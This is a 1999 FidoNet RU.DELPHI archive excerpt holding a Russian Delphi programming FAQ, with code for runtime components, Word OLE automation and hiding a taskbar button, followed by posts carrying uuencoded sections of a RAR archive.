программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [41]http://www.signsoft.com/opengl. Информацию -- на [42]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [43]http://reality.sgi.com/mjk за примерами и [44]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? В Delphi 4 имеется пример Web-браузера на Delphi. A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. Netscape Navigator умеет делать то же самое, подробности на [45]http://www.chami.com/tips/delphi/103096D.html Еще на [46]http://www.pbear.com лежат THTMLViewer и TFrameViewer. -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 232 of 341 - 188 + 245 From : Alexey_Mahotkin 2:5020/433 24 Aug 99 23:18:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 935525886 24464 127.0.0.1 (24 Aug 1999 20:18:06 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 24 Aug 1999 20:18:06 GMT Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [47]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [48]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [49]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [50]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [51]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Рекламировался также "MemProof", информацию о котором можно получить на [52]http://www.listsoft.ru/programs/pr1520.htm. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [53]http://www.blinkinc.com, WWPack32 [54]http://kolos.uni.lodz.pl/warezak, NeoLite [55]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [56]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? A: [57]http://www.iconbazaar.com Q: Как сделать ping из своей программы? И вообще, посоветуйте какую-нибудь альтернативу стандартным дельфовым Internet-компонентам. A: Зайди на [58]http://www.rtfm.be/fpiette. Там кyча компонентов для инета с исходниками. Там и ping есть. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 233 of 341 + 304 From : Alexander Kramarenko 2:5019/10.99 25 Aug 99 02:00:00 To : All Subj : AKdTopic [1/3] ──────────────────────────────────────────────────────────────────────────────── section 1 of 3 of file akd.rar -={ uue 1.03, ARA (C) 1995 }=- filetime 655953941 begin 644 akd.rar M4F%R(1H'`&^7ND%--XV_Y@(D%$6@2!H`+2-O'L7KR\C,C(W;O'>QL9ZMW`BB$@CT"^ M$[\01)M-*\2M&,^!X2421RN[L0;BV@>"JFIJ:FIJ>E3/# M\&\\_3Y51,3'.4.5`]OY?R+>J_(WQY^91I3\Y:SNK0HK^!@/\'!67@=R_96\ M&OWJ^Y:CPV5OY>.SL6=O^%?Q5]O[[%A:GJ/\^=0I:,]\MK;&SZ/)8V>36W*_ M]".$(;ECDOY(W`&_@QULD%^]MV2%'N MZ];G`'8?\/B1]8W6(MP$7F3J?U<G!@`C+U]S@#;Q9IU@0]G-D M=:IJ=?].$MTFBS](BM@!R#S.";1J$[MS=//&$_'3FZ4VG.T^S1N,4%N^VR0M M>9:P-)V:-WS$37;L>-$G?WQ^ECOK.]',OJOY,K&RL3%=7B%@/H6"+]#@+7I6 M_75JV@;(84[*TQ@6EG:+F-WT3@4(8QQO_K\;_""7W6==BKO5F/ZZV$7[]1:# M\"W^%;86VK%H^/[]BE9UJPT%(TH:)[W\65O-RFSL#.?])6V%P2U1E"%H\-G? MUMG?Y1N;ZWC!K+X$-+7'EJXO'9\FJ5U66A\$\*'.[2K;1&+^;6!`+!!@&[ZU MGPXQALUN[:UC&PG/F`FP6LW-@ MOO/"F9EMO>[VWYO`>UO^6S7/:<1D7^NT=TP59[!D)7BP97OX6?%M;Q7NO_JM ML^A%Z^5[,(61MVZD&`JX62\1#'8!L&PNUGG,IS05`M@T&"X%==(07"Q?N(^U M][T?QK@-BY[OBL[.\8\P5:;,K[-D]-6'^\O6QOKE9@Y?Y5M?9-!YXT'KR^]& MNY9+:%N`D0R:=_AM%D9"_CQ'R3J=2?1T\73T*)%@:T:%^K[&Z9E3$2M0QL$8 M4K[)749/Y#E*/5R,$V1:VKQ9>,(+FL(L\3Y;$GZ=5ZLQO9[G^C0+1_%:(FS" M6;2``OEE<8.?!Y0'O:,J=;:3;U:S2<;&`IEOK\YZ5*,47R"-(!9-&K`2$[WB MW!K$^&Z&U["R`=$=VLQN#Z=Q)1+4H&\QE(%^ MO00CNHWVMKS'I<@+`:)_WSU^VA>`*02W9&+UMWDV!IO66T]32H4<[L MOELZ;2J>F3JN<_XQ(B`V?[ED/KK8B&V'9(L2=%R*O)/BU5M?958B\PT'KGIZ M.#8[^#9_UK=W7M&BKP#>8$!R`^[R833OEM6;G9QE@\);?_2S':(T8SL[QD]+ M3S>\+`:=FH,/08NU'OAK<-1>#*/N_O;/G&MJ15\Q;-MRR1EO@6=:AD+5];F" MY<[/HC9)ES\[1E9\^JFQJ,IW@@#\_E,/UN^#U`..UOLG,A`N]C:9ZV@'4\X0 M,HL,PC4NQ7VD@)1E+6FQU;T^^:'XM)(:M5+1=P^30< ME85\FD7P_3N<=Y;'MYO&.;Q2H&`ZV9TG M83#482@P'E,#>8Q*,+"]#,C#S"X`2TC)Q[U25LT;_&_W!#'Y$J"2WW6-I&^R MMTNITC03@"U]TUE!*GX6AFL:FL!^)1)9---1M%R`)3@CC#"PH%#1-G\P"D&" M@*#@\?#P.!X/0BFS[4ID<;T_SK8E9G7998>8^+D8O'_U2G\G*RPJ[_7[T;*R MLSYLJ4"59$S)QI7V6CI4Z/8"Q$MCS].?I3_U3L.T6I4G5%NMR_/H]JH^Q^5U M)O8Y`>?ZIM-?%'4TZN$.,B=:.GP/C="T"4UC1M:N*U-2KGYTVA0`)ZZ$5[$8'/T$`_%.JBYSE MUN@8]6ZBT#D!\[2:=&U.+4Q[;6>J%I=2 M[ME46!59F=6-\MUL?-F?-,!JN/&R)/+N4YK13^6,$8:;XR?G/#(HGP(4SS_U MLAF$QIF9?5E#R)^IUFA)2^I`;N"BYL"?"U?F\(ZU.?5G4--Y>-:3Y^%>/C`# MZ\6[2;O>/4X*#IPA?K_?<:__GZ?0IS_X%C=60.6U>]7'+%LH6'@+E@1=W:Q,L(`^) MA=3,)5G24I_(IH)JSGG[0MGWJ*ZQ(\_O,!UB)6BHE&;ZA82N3SETB;0SB^3` M-IW@Y^GKZ\T1^RQ_\T^!F6(?1PKZ^KIMY`6PGH9``T2$C:2T/C@81;N@@##@ M7ODK3(77_!M5Z1$.752"%?N:HL:"K/Z]+5[J^=4%LUP@'!)`2ZE7\HYG:SX!4,$0YQ`P`V?'9?K/-Q$= MC<"7\)D6EIE`N9&I4J$_.FEO87G9VR4^4!U@N'UNYWBYH0U%U]?58\?]"FI^ MV,K'&S-&=0H2NW.SM0:X.A^?M;SKRC2G:=X/]SYU3LO\Y<`^8**K_E3M9J`: M/:R*-/2FT'N'T+E;GS/][3E"IJU,_2NO"%1?I?NWMS8%X`3'/D;67M5EW;UL%L.]Z%<)/K&THA_)4'WMO8^\*3LS M$E:5*KJA!=JYU"='GZ:SS66J%IO#A/\_D7J=MY-F85C0UD$VA6`QZ`[1=3)0 M34,O^"U8;8@MM!3,"V0BT7->EH4QQ6 M]!J.I*_I.AU>Y+EQ-%'#JSX"8"N5;W>%J)&.&@BP@OPAM=]&YYU,?>L,L^!1 M0[7//(,](,C96*L7/J./2-GY],%A?%J95#4'+9+HT\?5F5=30T'K]8S@%Y>5EH"A>EDM M"!KHQIK600SP)(39VF2SX>AH.9`!E;OFO>@5NXRCYST;_6`7W+/B)J=)92V@ MM#IRR%C4#%KD/FN"K!N4#?TEQ%)#VL;9P:,D+6#-.L?Q`IZQ#XK*&O6">0AJ+2X]JOY?R;=CR%R.CQ[1)_5X;M?N5W M;BUUE"57;T,!2F+;/<&*#0N6.3O4&A(0E);N?XA>R&J"F)$W#5>KQ[Y,>Y9M MUTNX#;\S>8MI+%MK[WB,E?VA@;\E8MH&U9(6=@G#*"2F<)7=G!'RPA?ZN?P^ M7SD*NK2G$J*]/IK?N5@!+@8UT2XJ/&1FI,'VYN>;9`U`F+1/6B^%?LP9DR"- MQZC2V)A5-&C3JU*M.?I]C#:L4S@PXM^#[B^H'5G8:1?//!,7@6E]"?V,*E1* MUKI6M%_QU%RU<+*RT_"T)+I=I:5#5+QC_$J\N9(.\7`-SYVAG:'`LJ9JU$_> MF_6^"*`$R;]4[&HS<^X`06-%UA>/;%&[@!14_[]LW&S]ZF<#=)EB/4Q)EJ<\ M'M9ZB&T"TU+N.1-TIUL4"Z/L8M,0G!LDY!S,X4S[2P+NG["_D+.UOI?PJ;JI MAE:T1NS\X]+_[_RV]?94B7+:5X$[]2^V1+^*8%TWUP"`!_Q2X[2?A]CN[WB! M&B1C9<;'`)LV$U;P,]2F!ZG6N MSM$A/Z]MMZI$WO"PT^%`3F[(O$8.PLIT.RL8`]_Y$GT:/5*""F MZ*!X0YPDHXQ:6A9ZC0M*84P"PU42PPS7GYRY\+Q]H38VGJD>:^9`>_ MH^"`EIH;9\R5D%--:\L0W@;KUR8+K.N;K9/A`#U$WMFOX']XG>I(H4:DYMI` M"#48^7G(B/4+5G&Y13FT]5YE2-'DGB-WY;B7J;X!D%GYHD<9\*2@]2WY=7@M MH64B\AYO(%*$-A!9.[3Q.C MK0<4*-3@X*W67CEQ2`3S>O8Q9N?J;0L=11%[FP-(`3OU2Y^U2&'J`0^9>'-U M-W'%-@"7[FC@[067>^*L/-O36]>[W97V\/@I`MP^OIUPW:/M%GN-)VD"B?]# MB!!A1;!\B=VZKQ)^@\Y>$SN"\6&WMVZ!6ROP$*\-U[IY&ULP+#VE!?Y4W3G4 M(./1#K]DT>UIO)@R_.IA"=D]?](EP(,((JOK6FK:5I0 MZSPY^^N(MS]CIT5*;YY$VD2LBE'^8WOZ2Z=`#^\)U6$H/Z2`V-WSO`U.D-IT M_=`Z`A[0?N"^+83$!2N/"0(A\JKBZ>6/UHZ;RGV`XHU7-_\H=YOIM\W`TN^LB9->5>]34H5 M2=S6)F2(V5F8N3D`CX11>ILF1D];$E9;MWB=!%'YS%('3UPS)M3LQYM,;H2> MA#Q;12Z]")LT[.\62L/VD+DS[532>LMH0]^AXM&>+EACZ:%#KS<[LN%Q;M:! M)](KY,-6+6>K./;5KFVR`'AAF118.T-4A#DS:LUT]R@E[H'Q)%:0U/JZ)A40H%L_O.ZY7@M"/5`!+TB#X86*S*(.?DU"("?EY0GP M2Z#-%3A$3R\W'E3)D;XI2U&F?[&1Q7SS,7*3<.82/J7)-CL^B0G)PG.4@8!T MV-.T^PRF\,ICU;X%KZ&GDVF3JKKZGQ>=.106[*D4:6KQ*I^H_I.\E]2DN[AR MYNB#-<(619L?-C206KX2*)T9OU]KCU(527$5.1*^7,DXWQ2,S&&O1(G^A>!O MW/H#P=PDZKJ4G_7)5P^&=G:-%:CH:!)RJ6JMB4:/9C=C3JDK[K?T$_@Y]/^C MZ`[BZL[258NSU\_1%E?SNW.YMAY&;3JN`6G."[E;_KEROBE2<7,B$)'SXGQR MOFS<;)D1L;-QXTC$QR@K.^.=J]>B$*803R\@L$->9+[M*IV"Y3*G8M MX(JT"2/A=K;EX[+>I2HML!*X7"FXT"PIPM64ON5?1JVK*1!J5VWG6Q,T%DCY M,;+&T*V#;Y9P%*@R*5X=9*G^4*/&-M+[(RTD]ASE[?NM7#+-03E=1@`TKNA: M&L>*QK!XNWCOP/Z4VI>'=)W;I$V:$*KO,SO1]C\EPC'FTJ03F)4T7."8[!H8 MNG/JNT\8\OUWOK/SZ/2_Z_6=:R_KX=@FV;E9>3("6S-DRLP'>^G/K0#]'K1# M^RW43QA#,3,#S+"I82M4Z5?5&OJ3+)L'I5T%II0M=,5W5T]*;2^2?.[63H$4 M9Y0I?5CSM)I<0-;F24IYS2S.X@NXF/]B5GV)%D_>['V-F-E8_K]G?_9E5;S\ M,$:B9/PJ+`IO_YN;#Y'#;'W7U/$DF4;:\]Z6K\'/N&BD'XA;+&%]A8G5$FUG M`Q1]FG16M=G:@B?FJLA0*1/7$$,J*BVPYN,W+E1I/6R\7,E';AC.?T^T44J7 M;G$R?)M,`_LJ$SRC>/V-%:'"6Z\^JK[8D#!OG5@H!5!MOOO&]T,P*9;*D[2O M#%H-)8X#0O9TN2//B;.V-.5NV4CZQIM2K*ITZ--X]6_1\"[9%!%?>PJP>D#T3FA4&3?!HU/&_UPSYUH&K-/46:<6 M-P6;G.[SGVA@P].A[6$+.+@:1(9V&A-SIUSP9>S0M^UH:?4(=_[-FSW"ZMG7-7]*!/CY6"ZS'NUMO=\ MW.40OM:).Z(H6VU!V5(:TP;YWQ\]C-T='LA26Q,G)^/#3X*GZ@5'M424E%QA ME8^>`_?NP'>P?I+>SG#3;#=UP\ M.[`6WC*=;1W6^%.9QKOB2,V-()O,3U"3C$Y>$61I@Q1/E^.7F]7*3U$JZ(#@ ME%4/.83K.2`'SF3WQ\$K(SQOPO6A*,3`S?!G7>.C8T3>^UY7+FM\'4MSM7$& M%`0/S.#/^Z`3YV=G=0K^:!;/5=/S<;Y(#7#$GZFG5*[L1.(TGKXIC%-'@QL M>Q5\K?H^5OI>VRT(GATXV]]^]_&?P@E_V+@'LCJ7*U;6W1''R[+)6;[+*>,? MM'1WK`B_6L.VJAX;GV9#Q[QQ;+'=GP\A-NN@'?[]KSB7RH^9]OF0]9/$VW`FO&U^PO4HT" MG$1&\"[^,7&\Q96UZWH*.V?;6\M=OM35>[Y`+J\IRE0EPN(^M19UZXZ?`,E, M>][7WFG#8.BU)[:]O#H/B#BB;3XI!K^^QXK1[0?7VL?=8O.RS^QD8$(`=VG" M2IZ#J.AIC-3UOXI[7/GZFE2M%))#`K<\E@==Q($;_-30T"@$;7 M%X7C5F-2A6'=_3FZ=2/=+0Q66!6X0'8@&4&!2LTPEOML5&T,]13T,'1H!DYT M5(GH\J(!JR^$7I9(2A^2-AO#A"D:A0"A"0+]^"G[K1ZIB'S0OS`G`3P,/E!) MM*6+G_PU./U?D9%Y)XG[`D_^CE]-HO/T&0Z@:FI>6K3T'MXZ)(]&WUP="3/% M^I?0E_'-E.O/?N/7 M"ZVYU5L98?.NDO"T%[P>CC[$3Q&6P`=$WRC'M-C&"W.R%W=)RE`PXQ@YQQ7D M!^?_KP[-H%`H*"3KBP63/J4BB-,=LXYHJ'1+[^_%I8%XW,U:1I%'Z7F`G]'F M/JYHAZ%*CIA%T_D#HH)><;42`;:D8DS;]Y2DT2=?OA)V?<@][O[9]E883\E@ MNL,V0)ZU+4Z]"?4T9V>MTO#XOVAG`W;'2'`%^L;Q%W+<<.-G^.Z7?7V%(FP.O_6F>-D+>EF3^"Y4` M[I\092Y4N_RCK\JRWZQT9.Q:[[R[-X"I@K/D+N_*>[VNL^HTWQ*@R>FDCL\B M9:,=D61R?9^0*0&I2E%__,",:]RRVH*,THOUF*;!<@8;8?`@D?07.$^;).EM MY407E"C1WZ3$X4:9A+?]+<>-C>\C1O8@=B1]L^+NA2[+!;0KHV-DPZP.Q`@2 MR.GHGI-O'F_:638JXZG>%RNKJF=4T>98:SMK*\2`0J(%V-A-Q;%WH'03$`E&B'7JGM7>N6X@\F^2QLZ_` sum -r/size 49779/9318 section (from first encoded line to "end") ... Издевательство, а не издательство этот Word :( --- GoldED/W32 3.0.1 * Origin: Работает "AKServer" по различной тематике. Мыльте ему (2:5019/10.99) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 234 of 341 + 305 From : Alexander Kramarenko 2:5019/10.99 25 Aug 99 02:01:00 To : All Subj : AKdTopic [2/3] ──────────────────────────────────────────────────────────────────────────────── section 2 of 3 of file akd.rar -={ uue 1.03, ARA (C) 1995 }=- begin 644 akd.rar MB^UN\1Z8@FF<'@2@S'Z.B`7XO-1O&A;@K#;@L:V(+KX"Z_4#?75[)7Y#%A>Z M6J_IYQ,-4S,R\7(^+,C1\:4'7SQT`?D%<_2Q]5J-<_F@])/FA<&(7`PZ1_V5 MMD;[AWWL;:0NZ`0*_=LX05<409P?!!X2&-`=L]WU2\L$39>>=4?N#L4+]4+0 M@\!"VU!XK0C0#Z_>RU7-OH["68#_!WC8!OG_A8W"3F)%/?->]`9SVA..$??N M(2"Q=E0DKVW7^\28\.&_T'8J!\"W[ZXWDH3LI8--BWE\X8U]I7&NW-"-?":-J!K_\(^\#)P[==:ET?YJH07_P M+?NLZ^YL5N\31#X;/>K;.\%`U/%QSR=B4KMU1U+_/#AKJ!A%"T8-+8^K5)V3_.:$N?IKL)XQCQ#D!5`O/D^/-$6 M^E9>8^+Y296-*)_F\+Q,G''P.P2A+AGIF5EXN3EJ\Q1]-\V!5\2\Q7T=7*.W M%\N%?%B%YB#>3ULAJ\]7'$;7^,KW].';P]"9/TM0,%DX9&+JR@_T'+=<9'>M M=*%6T!T=%QFL=3"05O$4W=D-2;UH*Z0*(OA*^25D9DL02#,&6I4D>%*S\W8T ML+79#U;S\V=]05C"$=\F"=4ZNI-H#]D^*`%MX[M;]5TNV4>K2__"R>X$1\>K ME#IC_/LQ!J^H]F=SK,P:V@^0)X1($=] M$?B#JL3*1SG8-,?53`^X]'MO\GXS[,1(H3\[LW'9LWKLT,/I)>CC2CI4SA!R M23^H#D@:%3J'X;`$WYUH9^XY2F:[_LY0:3;L=Y-&M[GLCJ(5%DYN=-XL>=.I=&&2^JH>BF1NQVYY:RSP?'-N6-OQ^(?IWRD5IIX,2M. M;UR7!)#'#/A?'W)6VK/< MM/W0J["AJO?3J+O(%UQ(?8&\Y#_)H)5.>(7J1SV5B3(LLX\[3U+SR[!;/CLD`P9Z"964QA0J'CJ%!D?:-P@-R5@4Y(=S>Y7NE:"9J+B\J%"'P7`.4 M:"_8/ZM+/'"\I_S)TX293GMF5*RUA73:?)CR$"Z8V>)`WKMJ30-&\\=IIZ\V MI.@OU7Z-[;BZ3F>6E:3&SDDOV!?% MV]TB75MC=#?QWPP)>C^-A+^Y:T1?-;'`R#*VI6%3%.&AA6KPDV=-,Z?^8-:_ MEL>6QMCL;A3`"#]/*5-,P_;58V>R"MM-&=B>C%E&;7GF&VH3SV'#J(''W>4L M%;!4PT(L#6D1T.4UD5VL?)HW,0F;&\&,E3-H:'>KIJ)Z_=$W8>W$<)Z>IU?8 M??)X/PZP!6G?$]?Q/[M@3K5VXL4G@Y\;8+M;(=#AXP/#O;>PO4200M>E3GVN''\CW^\H9@;$8LPGO M)A(30-_+^1I#3TR?%735?"1QU_+8V=S?+&C=X%Z3M`9HV>DHUTVSU\I&B&EO M88($[_;=;Q6-PVF3I)NZ3JB.6%/!FD#%@&M+J[@-T-U-)2^$Z,->P.#$)!X\ MVF:-!J%4:&75]NX#253,GZ M`[E"H2IKE0A4![P-71JC7#AM)(0/`HN"M,OM9J7/A+C"CD4X*,8L6B*2#B+* MH`#G&PL[.>W"XQ3J+#_`(BESAQOM`)%7BL[^Z>AZ:/+ERTBDSQ)T@;MXT8#G MJ^\^#4WRP(@@#55G@Y\4#=P*@I)R@9P3]!.?-"TV]"://A0CUEAS;^*_N=,@#E_;UU!RTT'*O-&K5I873Z>EJU)ZZ'X;H'P M[(27_U,'W/01I35YU:.%QW:T:/PN`Z\MP?T&2[W>FM]LTG6FR%UXPL+SKE*K M>$GN4;II+)H>/ZR=6BNJ"'*Q#KG-3T]US['C5V=0O196"N4AI>-V?YW'%=]) M_?!>]00Q[C:--KI8:KFH"JZD7Z\`O74-B#F;:;05P$T7K4J;79/K=I`_X`[#G M`J72$QR;ET3+>\O*-[NA*[9Z&WF^Y4_)(D1JW02[,C9,&<*%664-BA`""_O+I@)<^HY*1!&_$5-2H)/IH+B?DM"^$\NK-SLXGS=S>F_"/.Z?8H)M<)_"@#PY]$0NCAD-_?0^!TYP: M&$_D1<>`)1@4Y6QX8K_!B]"E_]LJ(2*:`/UI&YYMD(.#BL0,P4DHFBZZ3_1G M,F/Z>H1[@8Q/V#F"K)IVN.?BDIQ-CQ%I2O;IZ%+.Z9U"DZ?U"/![-QTUUM1K']XU9/(^XG*948>'*^74A=:M2L5C:>*5 M<+$B6P\6'N5N_736(;PUM@&D/U#<.IX:`?;W:FA)6W?1J=--,D$A%@[6$01$]K[&J+%XS'B);$^J!(1>U`XY3XI`66IJ4G]K] M)S,(9'J](QT&V:E9U]5D,*,9*DAL8+H7SI;WM_>*(%A3`)U%!>73$@]51,PA M_M,2L/70)C1L;+6%*8P@`L,/!(;/]8!RT?$J6@FNF@_%ULV1B8N-)]MM-M#&8BN>D4$S'2-B[?`U=SZN;,',U#P6 MX^WS$7P.(LF?,]`'Q>,S.Z M]MU]$4GP3HXUA8KH,Y2>@=C[.AA*PGM:15IT'QH?4XE]>Y^],D#]#*GGX6L,W& MD]\+-N8'X:W@":5XO-Y"2F&E^VG[N)VX@B6 MA2P2$;"9.?/Q%*1G"0N"9/5S%6;A4/@MQ3A43@DK+RV[+%X;<.Q)+BJ4_YA# MFG5JH/J5''X+]^$KR::'WCIC[=(/B_6GI&SP"RO/S^Y M?AO,\98&1<3%DR960JK`JR9A"7![G@#UUVW`]4L2?GY\XG/0\)@.MNW.>Q_,S1$M'.7M/;=7KJ:[Z`[B0M.$N?I[ M@)H)R+GN[*?<"A0^L3M]J%U-!KS3>`3,5T9J8K;9J!)E[$L0B#2CMX^BDP), MN[&8Y\[H\XI`@NDP88=TN*3H.?W)O8;P]GMN#-[3N+LXOHZV3O]%7Z>GJ28O M["XC3))A"U(AA;\D]S4?FS5(L.L$)U?%I"MG:XH@>L\+SA--D9CUHS9_IIYN MB$=4FXS7K9JK_KXJ;^E!@Y6%)7WT*31NHX=<[DZ56B7=YPHX.9"SN"3,R3BY M!Y(:DOXG%74X=]=C:K2_"CT^+E7=B24*>P@ZBWM&YF.`T+GN.N'0/KN M<'^!Q\&M\/V<.Y?7*GNSJ&Y[UN M5@9[ULQ">_SNN[,JGNOIS^TU1-^9F1LL.8?JS)4S$R>MUL7(D\B3H)=>?,DI M/NF.`#M%&-549(`$ZV:."QUL)"R;/[#,G2_V!R72%QSP?4..MUL:`%T9E7/Q M=.EJ&L870T_#MK3DKGYEJ=:S6]L*UNM$N9NRFK9Q<-K6@*98H3(=:S:> M)N>N&N*9-71/8<2)TUQ93U)WLQ?=F2+>\]NT.I@16YNYEQC4(IMT MH.==3CWOKK0Z.,X0%S5A&E.3PVO!LK;X>6@6&;ZW4HWETXIWUPICW42+MQOO M;:>LF$_P=6DF:WLQ/:YHO;AY_F7/0Z;P%&N]#],@]GZ5V$66' M`E!?JI)S*Q\WJA.*W1E?C<706U:.HMVINF5!F,XHU=RWD23.K:@3BK3ZBTWZ MA"#3Z:34HG;\[@19<+QEP)(OJ'\IH;%M.UHA%FD`518*%Q5;E!H!=?'2ZI!@ M<9=74#9_0G]F=(/5%8Q+Y;-)6"HB"G$_&^AFOWW7TX*6:"Z==MG5P) MJ`WPX3DTLG$24![(])<^A5;3B=Q-CN;-BSNUPX%0S:KR;DS76K[F^3N;\6_K MAQ)P7\41L?NAYE?:.[\*BEJ>D2.L&VZ[DT_!R5(9\;"I/XOT$'TQSUN"$;@9 M`Z=`H5@KIA"TK3&G4Y+F321)/I?/_2OM%`YW1#4D@#GOL.\BI]>DJK:P^;]= MR$WR5VIH7$$RK^)+CT$@G^#"=]W/:GLI2$>\R>0C:E4.KD*F0(%U103=P%.G MA.>''ZJT#C$Z.('"/8;H>Y`L)>O@A MZ^Z765#E0H?TPN9\IT)";M@^C2].2!_,!S MAEZ=V#\O++27YY6.=I?&'6!Y;*"W>4&SI$UT535Y+=6VMM7L8`5TW;G9TCWT M]9*W+USIJ'GW-]62>]7*J!+?J@9U!:TT2Z\;88`K#(OEKBN>.X[!BX=4=)XK M^`G>V)NY50-OH8RW\#ZK^XT2(2U&X\::$WE5Y>%$88$2!@A]!_'C2RH9)\@6 M!1L="D[6V^[LV/`4`O];?(/!Z*@-/0A`_9^KRS]+&_@?Q5%4-&AD]?]+XGS$ M?^EZ81G?*[[@HE9-QI^GV7AO');*Y=HG;2^!>?E)-O+Y7J.A,\J-N_C%537' M%ZJZ].CVC=)$PKP/$71TB^9>3*(U?A8Y/:@?'1?JZ='^+<4ME2.H]-6R,:8% M-1L%O6\!-3S5=YM2ZX=8;\(-Q)"JU*;"7A=6`BAMWLRKO7?J4LQC*L>UK^L=FZP:=$R?:UH`O)\M+C M8TR4WT&U9;\.8UT&>=[9ZYV+(?[$_6GDJ;ZZL-O/DV"X*7A>CB`C.WBEBFL< M$=)'IN-6HFI*LYUC\5_3R9A4FMV2C`XZJ@KF?5S('#/E0.IR<5#5WVWWT5!? 